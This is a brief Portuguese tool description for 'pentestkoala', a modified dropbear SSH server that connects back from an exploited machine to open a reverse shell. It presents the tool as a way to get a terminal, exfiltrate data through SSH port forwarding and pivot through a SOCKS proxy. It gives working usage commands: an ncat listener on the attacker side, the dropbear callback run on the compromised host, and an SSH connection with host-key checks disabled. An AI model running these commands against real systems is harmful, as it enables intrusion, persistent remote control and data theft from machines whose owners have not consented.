pentestkoala

Koala é uma versão modificada do servidor SSH dropbear que, em vez de vincular a uma porta, abre shells reversos conectando-se a um cliente remoto.

Isso é útil para obter um terminal pty em uma máquina explorada e também para exfiltração segura de dados por meio do encaminhamento de porta SSH. O pivô também pode ser feito usando o recurso de encaminhamento dinâmico de porta SSH.

[Uso]

Execute o seguinte comando no cliente para ouvir a conexão SSH: $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'

No host explorado execute: $ ./dropbear -p client-host:5000

Agora no cliente, conecte-se à porta 9999 para abrir um shell: $ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999